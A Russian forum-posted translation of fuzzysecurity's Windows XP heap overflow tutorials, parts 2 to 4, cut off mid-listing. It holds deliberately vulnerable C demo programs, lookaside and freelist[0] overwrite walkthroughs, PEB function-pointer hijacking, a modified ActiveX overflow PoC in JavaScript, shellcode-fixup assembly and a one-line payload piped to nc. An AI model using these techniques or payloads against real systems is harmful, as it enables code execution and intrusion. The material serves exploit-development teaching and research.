По окончанию этого процесса у нас будет контроль над указателем на функцию, которая в идеале будет вызвана после нашей перезаписи указателя. Ниже приведён код для демонстрации.

C:
/*
        Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
        char *a,*b,*c;
        long *hHeap;
        char buf[10];

        printf("----------------------------\n");
        printf("Overwrite a chunk on the lookaside\n");
        printf("Heap demonstration\n");
        printf("----------------------------\n");

        // create the heap
        hHeap = HeapCreate(0x00040000,0,0);
        printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
        printf("(+) Allocating chunk A\n");

        // allocate the first chunk of size N (<0x3F8 bytes)
        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk B\n");

        // allocate the second chunk of size N (<0x3F8 bytes)
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

        printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
        printf("(+) Freeing chunk B to the lookaside\n");

        // Freeing of chunk B: the chunk gets referenced to the lookaside list
        HeapFree(hHeap,0,b);

        // set software bp
        __asm__("int $0x3");

        printf("(+) Now overflow chunk A:\n");

        // The overflow occurs in chunk A: we can manipulate chunk B's Flink
        // PEB lock routine for testing purposes
        // 16 bytes for size, 8 bytes for header and 4 bytes for the flink

        // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
        // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");

        gets(a);

        // set software bp
        __asm__("int $0x3");

        printf("(+) Allocating chunk B\n");

        // A chunk of block size N is allocated (C). Our fake pointer is returned
        // from the lookaside list.
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk C\n");

        // set software bp
            __asm__("int $0x3");

        // A second chunk of size N is allocated: our fake pointer is returned
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

        printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);

        // A copy operation from a controlled input to this buffer occurs: these
        // bytes are written to our chosen location
        // insert shellcode here
    gets(c);

        // set software bp
            __asm__("int $0x3");

        exit(0);
}

Задачей нескольких ассемблерных вставок «__asm__(“int $0x3”);» является остановка выполнения программы в отладчике. Точно так же вы можете открыть в нём бинарник и вручную установить точки останова на каждом вызове. После запуска, мы остановимся на первом из них. Посмотрим:
word-image-91.png


Мы видим два аллоцированных чанка в сегменте 0x00480000 размером 0x18 байт. Если отнять из этого числа 0x8, получим 0x10, то есть 16 байт. Взглянем на содержимое lookaside, чтобы проверить, поместился ли в него B при освобождении.

word-image-92.png


Превосходно! Чанк помещён в lookaside. Этот чанк поместился сюда, потому что его размер меньше 1016 и в lookaside находится меньше 3 чанков такого же размера.

Для уверенности заглянем во freelist

word-image-93.png


Хорошо, всё выглядит нормально. Внутри нет элементов, за исключением нескольких во freelist[0], но они появляются при создании сегмента и паре других аллокаций. Двигаясь дальше, мы переполняем чанк A строкой из байтов 0x41 до заголовка соседнего чанка. Используя ту же строчку, перепишем в нём flink байтами 0x44.

word-image-94.png


Класс! Теперь мы видим, что наша аллокация по адресу 0x00481ea8-0x8 (чанк B) была перезаписана атакующей строкой. Также видно, что элемент lookaside содержит значение 0x4444443c. Добавим 0x8, и он превратится в 0x44444444. Именно то, что мы использовали! Теперь вы понимаете, как контролировать flink в чанке B. ?

Как только происходит аллокация чанка такого же размера, как и B (0x00481ea8-0x8), он удаляется из lookaside [3] и возвращается вызывающему. Заметьте также, что заголовки также находятся под нашим полным контролем.

word-image-95.png


Взглянув на чанк A (0x00481e88) мы увидим, что он используется, потому что значение флага равно 0x1 (говорит о том, что чанк занят). Следующий чанк по адресу 0x00481ea0 пока не обновлён и является свободным, находясь в lookaside.

word-image-96.png


В этом месте код попытается нарушить доступ операцией READ. При атаке приложения этим методом, мы заменим 0x44444444 указателем на функцию (подделаем flink). Теперь, когда менеджер кучи создаст свежеаллоцированный чанк, приложение будет писать в ту часть памяти, куда указывает поддельный flink. Аллоцируем чанк C и запишем в него произвольный шеллкод. Задача при этом, чтобы наша функция была вызвана до падения приложения (или хотя бы вовремя падения ;)). Кстати, в первой части я не упомянул про один классный хак с использованием глобальных указателей PEB (работает только до XP SP1). Однако в SP2 и выше эти указатели теперь рандомизируюся. Давайте откроем бинарник в отладчике:

word-image-97.png


Повторим:

word-image-98.png


Заметьте, что два адреса PEB отличатся. При вызове исключения диспетчер исключений скорее всего вызовет ExitProcess(), который в свою очередь вызовет RtlAcquirePebLock(), блокируя PEB. Это происходит для того, чтобы не допустить изменения PEB во время исключения. Как только обработчик завершается, блок снимается вызовом RtlReleasePebLock(). К тому же указатели, используемые в этих функциях, не имеют защиты W^X (Write xor eXecute). Это значит, мы можем писать данные в эту часть памяти и выполнять её содержимое. Каждая из этих функций использует статические указатели на фиксированное смещение в PEB. Ниже показан код RtlAcquirePebLock(). FS:[18] (peb) присваивается EAX. Затем по смещению 0x30 сохраняются указатели на глобальные функции, а по смещению 0x24 – функция FastPebLockRoutine(), которая затем вызывается.

Код:
7C91040D > 6A 18            PUSH 18
7C91040F   68 4004917C      PUSH ntdll.7C910440
7C910414   E8 B2E4FFFF      CALL ntdll.7C90E8CB
7C910419   64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
7C91041F   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
7C910422   8945 E0          MOV DWORD PTR SS:[EBP-20],EAX
7C910425   8B48 20          MOV ECX,DWORD PTR DS:[EAX+20]
7C910428   894D E4          MOV DWORD PTR SS:[EBP-1C],ECX
7C91042B   8365 FC 00       AND DWORD PTR SS:[EBP-4],0
7C91042F   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
7C910432   FF55 E4          CALL DWORD PTR SS:[EBP-1C]
7C910435   834D FC FF       OR DWORD PTR SS:[EBP-4],FFFFFFFF
7C910439   E8 C8E4FFFF      CALL ntdll.7C90E906
7C91043E   C3               RETN

Ниже представлено как RtlReleasePebLock() делает прямой вызов функции FastpebUnlockRoutine(), находящейся по смещению 0x24 в массиве глобальных функций внутри PEB.

Код:
7C910451 > 64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
7C910457   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
7C91045A   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
7C91045D   FF50 24          CALL DWORD PTR DS:[EAX+24]
7C910460   C3               RETN

Поэтому, когда при исключении вызываются RtlAcquirePebLock() и RtlReleasePebLock(), ваш код будет вызываться раз за разом до бесконечности. Но при вызове своего шеллкода вы можете пропатчить PEB, заменив указатель на адрес функции exit().


word-image-99.png


Чем больше текущий процесс содержит потоков (threads, тредов), тем меньше используется рандомизации (для нескольких PEB’ов используются рандомизированные адреса), что даёт возможность “угадать” адреса в текущем PEB. Но это не решает нашу проблему, потому что у нас нет надежного способа записи четвёрки, что позволило бы перезаписать указатель на функцию. Иногда само приложение использует нестандартный указатель либо до исключения, либо как указатель на другую библиотеку Windows. Его мы можем переписать так, чтобы он указывал на наш шеллкод.

Особые варианты эксплуатации указателей:

Для демонстрации я проведу переполнения чанка в lookaside в Windows XP SP1 (потому что в ней глобальные указатели PEB фиксированы). FastPEBLockRoutine() находится по адресу 0x7ffdf020.

Раскомментируйте эту строку:

C:
// strcpy(a,”XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f”);

И закомментируйте эту:

C:
gets(a);

Теперь мы переполним чанк A строкой из X’ов и перепишем часть чанка B строками AAAA и BBBB. В заключение перепишем указатель на flink значением 0x7ffdf020. Скомпилируйте программу и откройте в отладчике. Аллоцировав чанк C (находящийся по адресу 0x7ffdf020), мы можем записать в него шеллкод, который будет вызван при исключении. Ниже можно увидеть, как в EAX записывается адрес PEB и происходит прямой вызов FastPEBLockRoutine(), что передаёт управление нашему коду.

word-image-100.png


Имея власть над EIP, её можно использовать для возвращения обратно в код. С этого момента можно с лёгкостью обойти DEP и добиться исполнения кода.

Эксплуатация указателей, определяемая приложением:

Эта статья будет неполной, если я не представлю пример эксплуатации этой уязвимости в Windows XP SP3. При работе с приложениями, содержащими переполнение буфера любой захардкоженный вызов функции, который можно перезаписать и выполнить с помощью переполнения должен быть использован. К примеру WSACleanup() из библиотеки winsock. Он содержит захардкоженный вызов 0x71ab400a в XP SP3. По этому адресу можно разместить наш шеллкод. Таким образом он будет срабатывать при каждом вызове WSACleanup() (или других функций winsock). Ниже дизассемлированный код WSACleanup() и поиск захардкоженных вызовов.

word-image-101.png


Почти любое приложение в Windows скорее всего использует функции winsock. В частности WSACleanup() используется для очистки любых соединений, что практически гарантирует вызов после переполнения. По этой причине перезапись по адресу 0x71ac4050 работает так надёжно. Другим примером будет функция recv, которая тоже вызывает эту функцию.

word-image-102.png


Если последовать за вызовом 0x71ab678f, мы попадём сюда:

word-image-103.png


Кто бы мог подумать? Еще один вызов 0x71ac4050. Чтобы удостовериться, что это сработает, взглянем на права доступа.

word-image-104.png


Фундаментальным недостатком этого метода является то, что при перезаписи кода по этому адресу, любой шеллкод, использующий winsock (я бы сказал, практически все) перестанет работать. Один из вариантов решения – патчить 0x71ac4050 оригинальным кодом, чтобы вызовы winsock продолжили работать.

Пример эксплуатации указателей, определяемых приложением:

Я предоставил бинарник vulnerserver (большая часть кода взята из блога Стивена Бредшоуса (Stephen Bradshaws) из Infosec Institute, все заслуги принадлежат ему) и подправил его так, чтобы он содержал переполнения кучи и утечки памяти.

Идея состоит в том, чтобы написать PoC эксплойт, который при запуске будет выстраивать структуру кучи так, что вы можете переписать чанк в lookaside и получить контроль над выполнением. Скачайте этот файл (файл уже недоступен) и запустите его в Windows SP3. Попробуйте методы, о которых я рассказывал выше, это поможет вам лучше понять, как они работают. Я решил, что пока не буду выкладывать исходник, чтобы люди занялись реверс-инжинирингом и сами поняли, как добиться правильной структуры внутри кучи и вызывать свой код. В качестве подсказки (надеюсь не слишком большой) привожу скриншот, на котором PoC исследует структуру кучи:

word-image-105.png


Разумеется, любая ситуация, в которой вы можете манипулировать структурой кучи, идеальна.

При возможности полностью контролировать кучу, вы без проблем добьётесь состояния программы, при котором ей можно управлять с помощью переполнения буфера. В качестве примера можно привести heaplib.js Алекса Соритова (Alex Soritov), которая позволяет аллоцировать и освобождать память и производить множество операций со строками внутри кучи. Если вы используете JavaScript или DHTML для аллокации или освобождения чанков в той же куче, что и MSHTML, значит вы можете контролировать менеджер кучи и перенаправлять поток выполнения внутри целевого браузера.

Анализ AOL 9.5 (CDDBControl.dll) Переполнение буфера кучи ActiveX

Я решил рассмотреть эту уязвимость и оценить “эксплуатабельность” этого бага в Windows XP SP3. Я подумал, что его будет любопытно проанализировать. Поскольку всё управляется контроллером ActiveX, один из способов добраться до бага – через IE, используя скриптовый язык. Я решил использовать JavaScript просто потому что он самый гибкий и на нём написана heapLib.js.

Моя среда:

– IE 6/7

– XP SP3

– heapLib.js

В первую очередь я добился запуска PoC с exploit-db, написанного Hellcode Research. Проанализируем краш:

word-image-106.png


Мы видим, что в сегменте текущей кучи кончилась свободная память и он не может выделять её в этом сегменте.

word-image-107.png


Рассмотрим его:
word-image-108.png


word-image-109.png


Память в сегменте кончилась, и у нас нет возможности создать новый сегмент. Что же нам делать? Что ж мы знаем, что придётся разрывать связь в списке чанков. Для этого необходимо, чтобы менеджер кучи скопировал данные в аллоцирующий буфер(перезаписывая другия чанки), но не вылез за пределы текущего сегмента. Тогда при следующей аллокации или при попытке освободить чанк, произойдёт попытка разорвать связь. Я подправил PoC, чтобы переполнение срабатывало на 2240 байтах вместо 4000.

JavaScript:
var x = unescape("%41");
while (x.length<2240) x += x;
x = x.substring(0,2240);
target.BindToFile(x,1);

Сейчас, когда мы используем баг, мы на самом деле не крашим браузер. Конечно, чанк переполнен, но пока не произведен второй разрыв, он падать не будет. Однако при закрытии браузера, сборщик мусора будет проходить по всем аллокациям и освобождать чанки, тем самым много раз вызывая RtlAllocateHeap(), а значит и сам баг. В этом случае всё становится более реалистичным.

word-image-110.png


Код:
(384c.16e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141
eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ntdll!RtlAllocateHeap+0x567:
7c9111de 8b10            mov     edx,dword ptr [eax]  ds:0023:41414141=????????

Отлично! У нас есть потенциально эксплуатируемые условия. В этом случае flink находится в EAX, а blink в EDI. В SP0-1 и ранее можно было просто провести обычное переполнение функций UEF и получить управление. Но у нас есть доступ к скриптовому механизму браузера, поэтому мы можем перебирать кучу в попытках использовать уязвимость в SP3. При анализе структуры кучи я быстро заметил, что контроллер ActiveX создаёт свою собственную кучу в рантайме. Краш при этом происходит при вставке во freelist.

word-image-111.png


Используя heapLib.js, мне удалось манипулировать кучей самого процесса, не кучей контроллера ActiveX. В этом месте я прихожу к выводу, что в Windows XP SP3 и выше это эксплуатация переполнения буфера кучи выглядит невозможной. Конечно, есть шанс серьёзной ошибки в интерпретации результатов, но насколько я могу сказать, если нет возможности манипуляции с кучей, нет и возможности эксплуатации.

Хуки

При отладке приложений, содержащих переполнение кучи, полезно знать количество аллокаций и освобождений памяти, а также их размеры. За время жизни процесса/потока их происходит очень много. Очевидно, за ними трудно следить через брекпойнты. В Immunity Debugger вы можете использовать плагин !hookheap, чтобы повесить хук на RtlAllocateHeap() и RtlFreeHeap(), что позволит вам находить размер и количество аллокаций/освобождений в определённых операциях.

word-image-112.png


Можно заметить, что одна аллокация особенно выделяется. Выделение большого количества байт указывает на запрос к целевому уязвимому серверу.

Заключение

Менеджеры кучи очень сложны для понимания, для эксплуатации переполнения кучи требуется много человеко-часов, поскольку каждая ситуация отличается от других. Анализ текущего контекста в целевом приложении и ограничений, которые он несёт, являются ключом для понимания, существует ли возможность эксплуатации переполнения в куче. Механизмы защиты, введённые Microsoft, предотвращают большинство стандартных способов переполнения, однако периодически мы можем видеть, как в некоторых приложениях возникают условия, позволяющие атакующему их использовать.

Ссылки:
http://windbg.info/doc/1-common-cmds.html
http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt
http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2 Heap Exploitation.ppt
– some small aspects from: http://illmatics.com/Understanding_the_LFH.pdf
http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
http://www.insomniasec.com/publications/Exploiting_Freelist[0]_On_XPSP2.zip
http://www.insomniasec.com/publications/DEPinDepth.ppt (heap segment information)
– Advanced windows Debugging (Mario Hewardt)
www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf
http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt
– Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007): http://kkamagui.springnote.com/pages/1350732/attachments/579350

Источник: https://dc7495.org/heap-overflow-2/
Оригинал: https://www.fuzzysecurity.com/tutorials/mr_me/3.html
Автор: Перевод – Анонимный переводчик, ред. @N3M351D4
fuzzysecurity (с)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет, ребята. Некоторое время назад я рассказывал о древней, но важной технике переполнения буфера кучи в Windows XP SP3. Сегодня я расскажу вам о еще одной. Вдобавок, я познакомлю вас с моим плагином для Immunity Debugger под названием !heaper.

В первую очередь, как человек, понимающий технические сложности и тонкости, связанные с этой темой, хочу поблагодарить всех исследователей безопасности за ту работу, которую они провели до меня. Если бы не эти люди, этой серии статей не было бы.

Поэтому ОГРОМНОЕ спасибо Бретту Муру (Brett Moore), Николасу Вайсману (Nicolas Waisman) и Крису Валасик (Chris Valasek).

В декабре 2005 Бретт Мур опубликовал очень интересное исследование: “Эксплуатация freelist[0] в XP SP2”. В нем были рассмотрены два полезных метода, с помощью которых можно атаковать freelist[0]. Мы рассмотрим только одну из них – вставку во freelist[0], в связи с её практичностью.

Вам потребуется:
  • Windows XP с установленным SP2/SP3
  • Immunity Debugger
  • pyparser
  • graphviz
  • heaper.py – плагин к immunity debugger
  • Компилятор C/C++ (Dev C++, lcc-32, MS visual C++ 6.0 (если вы сможете его достать)).
  • Удобный для вас скриптовый язык (я использую python, вы можете пользоваться perl)
  • Мозги (и/или настойчивость)
  • Некоторые знания Ассемблера, C и умение использовать плагин HideDbg для Olly или !hidedebug в Immunity debugger
  • Время.
Вставка во freelist[0]

Идея этой атаки заключается в перезаписи указателя blink в чанке freelist[0] и последующей вставке другого чанка перед перезаписанным. blink не проверяется перед обновлением указателей flink/blink. Проверка указателей списка (safe unlinking) происходит только в манипулируемых чанках и его соседях, но не в тех, связи которых изменяются.

Чтобы исправить эту проблему, в Windows 7 программисты Microsoft добавили проверку, похожую на следующий сниппет псевдокода:

C:
if (chunk[blink] -> PrevChunk && PrevChunk[flink] -> chunk)
  proceed()

Если ссылки на соседей в чанке до и в чанке после проверены, это решает проблему и не позволяет атакующему устанавливать произвольный указатель или присваивать произвольное значение, указывающее на неконтролируемый адрес. Ниже грубый пример, с которым мы будем работать:

C:
/*
    exploiting freelist[0] (insert)
    technique by Brett Moore
    poc example by Steven Seeley
*/

#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
    char *a,*b,*c,*x,*y,*z;
    long *hHeap;

    hHeap = HeapCreate(0x00040000,0,0);
    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,1200);
    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,1024);
    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,2048);

    // чанк 'с' freelist[0]
    HeapFree(hHeap, 0, c);

   
     // переполняем ‘b’ чтобы управлять структурой чанка ‘c’
     // устанавливаем blink чанка ‘c’ на lookaside[3]

    printf("(+) Chunk b: 0x%08x\n",b);
    printf("(+) Fill chunk b (using 1024 bytes), overflowing chunk c:\n");

    // переполнение b
    // используя 1024 A's + BBBBCCCCDDDDEEEE (E=blink) (D=Flink)
    // переполняем (blink установлен на 0x00480718 (lookaside[3]))

    gets(b);

    // освобождаем 'a', теперь freelist[0] выглядит следующим образом:
    // freelist[0]:
    //             чанк b
    //             чанк a
    //             чанк c

    // 'вставка'
    HeapFree(hHeap, 0, a);

    // новый lookaside[3]
    // lookaside[3]:
    //              чанк b
    //              чанк a
    //                    чанк ?        (поддельный чанк, созданный из-за переполнения)
    //              flink - контролируем переполнением

    // выделяем чанки из lookaside пока не достигнем
    // нашего поддельного чанка

    x = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    y = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    z = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

    // записываем шеллкод по контролируемому адресу flink freelist (поддельный чанк lookaside)
    gets(z);
    exit(0);
}

Несмотря на то, что этот код не является реальным примером, его задача продемонстрировать технику, которую можно использовать позже с какой-либо программой.

Скомпилируйте его или скачайте готовый бинарник (b33f: бинарника нет). Открыв его в отладчике, вы увидите:

1589558286325.png


Спускайтесь ниже, пока не увидите вызовы API из main: HeapCreate, HeapAlloc, HeapFree. Установите точку останова на втором HeapFree и последующих HeapAlloc’ах.

1589558305623.png


Теперь нужно скрыть факт того, что программа запущена под отладчиком: используем команду ‘!hidedebug all_debug’, чтобы пропатчить все API вызовы.

1589558331746.png


При запуске приложение попросит ввести какие-нибудь данные. Так как данные подаются на стандартный поток ввода (STDIN), у нас не получится просто скопировать туда бинарные данные. Чтобы было понятнее, мы скормим программе ASCII текст, а затем исправим его в памяти.

Внимательный читатель заметит, что чанк, в который мы пишем, имеет размер 1024 байта. Любые данные длинной больше этого размера переполнят буфер и дадут нам контроль над выполнением. Чтобы получить полный контроль, потребуется перезаписать 16 байт: в первых 8-ми хранится заголовок следующего чанка, в остальных — указатели flink/blink. Давайте сгенерируем данные:

1589558345714.png


Скопируем их на вход приложения. Отладчик остановится на вызове HeapFree:

1589558365897.png


Проанализируем происходящее. Для начала взглянем на freelist и осмотрим его структуру командой !heaper ab -g.

1589558382058.png


Эту информацию можно визуально представить командой !heaper ab 490000 -g. Она создаст картинку с изображением графа и сохранит её в ‘C:\Program Files\Immunity Inc\Immunity Debugger\’ (по умолчанию имя картинки ‘freelist_graph.png’).

1589558455380.png


Несложно заметить, что flink/blink были перезаписаны нашими данными. Теперь мы хотим перезаписать blink, хранящийся в элементе lookaside[3]. На данном этапе массив lookaside пока пуст, но мы подделаем несколько элементов. Заменим указатель:

1589558474479.png


Элемент freelist[0] с изменённым указателем:

1589558493940.png


Когда мы сделаем один шаг отладчиком после вызова HeapFree, мы заметим серьёзные изменения. В lookaside[3] появятся 3 элемента, а наш flink станет flink’ом подделанного чанка в lookaside. Использовав ‘!heaper af [heap]’ или ‘!heaper analysefrontend [heap]’, вы увидите следующее:

1589558510820.png


Напомню, что для получения графа можно использовать команду !heaper af 490000 -g. В этом случае, имя по умолчанию будет lal_graph.png. Его можно изменить флагом -f.

1589558534304.png


Продолжим выполнение до следующего вызова HeapAlloc. Мы увидим, что flink возвращается из любого элемента lookaside.

1589558555226.png


Разумеется, 0x43434343 не является указателем на существующий чанк, а нам нужно, чтобы flink указывал на доступную для чтения/записи память. Для этого мы возьмём из PEB указатель на функцию FastPEBLockRoutine, описанный в предыдущей статье. Там сказано, что указатели в PEB рандомизированы, но так как я всего лишь демонстрирую метод, мне нужен любой доступный для записи указатель. Чтобы получить его значение, воспользуемся командой ‘!heaper dp -m’. Она покажет нам содержимое управляющей структуры PEB. По смещению 0x20 находится указатель на FastPEBLockRoutine.

1589558574618.png


Пропатчим 0x43434343 в элементе lookaside[3]:

1589558595734.png


Теперь можно возобновить работу программы, чанк будет доступен для чтения и записи. В итоге:

  • мы добились ситуации, в которой возможна запись данных/шеллкода в любые 4 байта в памяти.
  • при попытке вызова из RtlAcquirePebLock+0x28 FastPEBLockRoutine(). Поскольку FastPEBLockRoutine() использует текущий PEB с контролируемым нами указателем, мы можем заменить его на адрес нашего шеллкода.
1589558618920.png


С этого момента запустить шеллкод проще простого. Потребуется лишь выполнить код по указателю в EAX. Первый этап выполнения шеллкода должен будет пропатчить указатель, который мы перезаписали. Ниже пример того, как это можно сделать.

Код:
.386
.model flat, stdcall
option casemap:none
.code
start:
mov eax, 7c901deh ; ntdll.RtlEnterCriticalSection
mov ecx, 7ffdf01ch ; офсет в PEB 0x1f (ваш может отличаться)
add ecx, 4h
mov dword ptr ds:[ecx],eax
end start

В конечном итоге должно получиться нечто похожее на:

Код:
.386
.model flat, stdcall
option casemap:none
00401000 > $ B8 DE55F777 MOV EAX,ntdll.RtlEnterCriticalSection
00401005 . B9 1CF0FD7F MOV ECX,7FFDF01C
0040100A . 83C1 04 ADD ECX,4
0040100D . 8901 MOV DWORD PTR DS:[ECX],EAX

Таким образом, указатель будет восстановлен, и шеллкод не будет вызываться бесконечно. Конечно, в Windows XP SP3 это должно производиться динамически в том случае, если адрес PEB был подобран с помощью перебора. Я оставлю читателю возможность расширения этой ассемблерной заготовки до работы с динамическим PEB и правкой смещения 0x20. Вы можете использовать fs:[0x30].

Если мы в следующий раз захотим эксплуатировать приложение одной командой, это будет выглядеть так (предполагается, что мы передаём данные по сокету):

Код:
    python -c "\x41" * 1024 + "\x42" * 8 + "\x20\xf0\xfd\x7f" + "\x18\x07\x49" | nc -v <target> <ip>

NULL байт будет добавлен в конце строки.

Требования и ограничения:

  • вы должны знать базовый адрес кучи, структуру которой хотите переполнять. Это не так просто, как может показаться, но утечки информации, обычно, помогают в этом.
  • вам потребуется заранее определить базовый адрес PEB или хотя быть использовать другой указатель на функцию, который вы сможете перезаписать и который будет вызван.
  • вы должны контролировать размер выделяемых чанков.
  • вы должны иметь возможность заставить приложение освободить чанк, который меньше перезаписанного, но больше того, который вы переполнили. Это может происходить без конкретного правила, однако контроль над размерами выделяемых чанков и над временем, когда они освобождаются, безусловно, важен.
Heaper

Когда я пытался разобраться в методах переполнения кучи, мне часто требовалось визуализировать структуры кучи. Для этого я использовал Immunity Debugger (вывод !heap в windbg совершенно безумен). Тогда мне не удалось найти инструмент в Immunity Debugger, который мог бы проанализировать кучу и определить возможность эксплуатации. С учётом того, что Immunity — отладчик, ориентированный на “эксплойты”, я решил написать плагин, который не только визуализирует структуры кучи, но и определяет возможность эксплуатации, используя несколько эвристических методов.

В настоящий момент, плагин не использует эвристические методы, однако они появятся в ближайшем будущем. Пока он лишь проверяет возможность перезаписи указателей flink/blink, а также было ли перезаписано поле заголовка, содержащее размер чанка. В течение ближайших месяцев появится поддержка Windows 7. Пока я провожу анализ возможностей эксплуатации и требуемых для них условий.

Убедитесь, что у вас установлены pydot, pyparser и graphviz и сохраните код плагина в ‘C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\’. Вызвать справку можно командой !heaper.

1589558767477.png


Я уже отмечал, что не так-то просто найти указатель, который можно будет перезаписать. Более того, вам нужно будет убедиться, что найденный указатель будет вызван после нашего переполнения. !heaper поможет нам решить эту проблему.

С его помощью вы можете сдампить все указатели на функции в секции .data командой ‘!heaper dumpfunctionpointers’ или ‘!heaper dfp’.

Чтобы пропатчить указатель на функцию значением по умолчанию 0x41414141, введите команду ‘!heaper dfp -p <указатель на функцию>’. Чтобы пропатчить все указатели — ‘!heaper dfp -p all’.

Можно также восстановить исходное значение командами ‘!heaper -r <указатель на функцию>’ и ‘!heaper -r all’.

1589558791009.png


Восстановление указателя, пропатченного выше:

1589558805811.png


Идея заключается в том, что мы патчим все указатели на функции и запускаем приложение. Далее мы ждём вызова одной из этих функций. В случае ошибки доступа, мы можем найти значение указателя на стеке.

Существует множество других функций, поэтому я призываю читателя самостоятельно изучить возможности плагина и поделиться со мной своим мнением и идеями о том, чтобы вы хотели добавить.

Примеры некоторых предложений:

  • добавить перехват хуков для некоторых вызовов кучи, таких как VirtuallAlloc, HeapAlloc, HeapFree, HeapCreate и так далее, с выводом их аргументов (по возможности, с возвращаемым значением).
  • выводить статистику по heap spray. Например, количество используемых в атаке блоков, их размер, смещение в блоке, с которого начинается нагрузка.
  • добавить поддержку Windows 7 с LFH и убедиться, что работает графический вывод.
  • добавить эвристические методы и убедиться, что их оценки достаточно точны.
В текущий момент начата работа над четырьмя видами атак: инверсия битов (bitmap flipping), вставка во freelist[0], поиск по freelist[0] и перезапись чанка в lookaside.

Как вы видите, впереди еще много работы, и я надеюсь, что это поможет вам разобраться с эксплуатацией кучи.

Источник: https://dc7495.org/buffer-overflow-on-the-heap-part-3/
Оригинал: https://www.fuzzysecurity.com/tutorials/mr_me/4.html
Автор: Перевод – Анонимный переводчик, ред. @N3M351D4
fuzzysecurity (с)
 
Переполнение буфера кучи. Часть 4

Привет, ребята!
И снова я с вами, чтобы рассказать об очередной технике эксплуатации кучи, которую не хотелось бы видеть погребённой в песках времени. Мне повезло, и у меня есть немного свободного времени в эти новогодние каникулы. Его то я и использую, чтобы рассказать вам об этой технике. Для начала освежим в памяти уже пройденные материалы:

Переполнение буфера кучи. Часть 1:
Основы эксплуатации unlink() и перезаписи указателей на функции
Эксплуатация фильтра необработанных исключений (UEF)
Эксплуатация векторной обработки прерываний (VEH)

Переполнение буфера кучи. Часть 2:
Рассмотрены ещё несколько структур кучи и используемых ею алгоритмов аллокации и освобождения памяти, таких как: RtlAllocateHeap() RtlFreeHeap(), слияние, разделение блоков. Такие структуры как: кучи, сегменты, списки lookaside и freelist, заголовки чанков и т.д.
Безопасный unlink
Куки заголовков кучи
Техника эксплуатации: перезапись чанка в списке lookaside aka “перезапись ListHead”

Переполнение буфера кучи. Часть 3:
Описана еще одна популярная атака вставкой во freelist[0]
Описан плагин для ImmunityDebugger !heaper

Переполнение буфера кучи. Часть 4 (этот туториал):
Теория битмапа FreeListInUse
Описана атака Николаса Вайзмана (Nicolas Wiseman) “инверсия битмапа FreeListInUse”
Объясняю, как я облажался с RtlCommitRoutine :/ и как, наверное, это можно исправить
Heaper получает возможность анализа битмапа FreeListInUse. Для удобной работы с кодом создан репозиторий на GitHub
Ну что ж начнём! Хватайте 0xc0ff3333 и приготовьтесь усердно думать!


FreeListInUse
FreeListInUse – это структура размером 16 байт, расположенная по смещению 0x0158 относительно начала кучи. Она содержит таблицу размеров элементов FreeList[n] с пустыми чанками. Задачей битовой маски FreeListInUse является ускорение RtlAllocateHeap() при аллокации из FreeList. В процессе аллокации менеджер кучи будет сканировать битмап (доступные ячейки памяти) в зависимости от запрошенного размера, добавляя 8 и деля сумму на 8. Например, мы хоти аллоцировать 664 байта. Прибавим к нему 8 (672) и, разделив на 8, получим 84 (0x54). Далее менеджер начнёт сканирование с FreeList[0x54] и далее. Эта оптимизация нацелена на ускорение работы менеджера кучи.

1606109763200.png


Так, 4 лонга, по 32 бита каждый, в целом составляют 128 бит (в точности размер FreeList). Но рассматривать его в таком виде сложно. Посмотрим поближе:

1606109794900.png


Если вы аллоцируете из элемента FreeList[n] и при этом выбран последний чанк в элементе, бит будет сброшен. Точно так же, если используется HeapFree() и чанк освобождается во FreeList (предположим, что lookaside заполнен), бит будет установлен. В функции ntdll!RtlAllocateHeap происходит XOR текущего значения с единицей, возвращая новое значение:

Код:
; FreeListInUse modification:

7C910CEE   . 0FB70E         MOVZX ECX,WORD PTR DS:[ESI]        ; ecx = chunk->size
7C910CF1   . 8BC1           MOV EAX,ECX                        ; eax = ecx
7C910CF3   . C1E8 03        SHR EAX,3                          ; ListOffset = size / 8
7C910CF6   . 8985 28FFFFFF  MOV DWORD PTR SS:[EBP-D8],EAX    
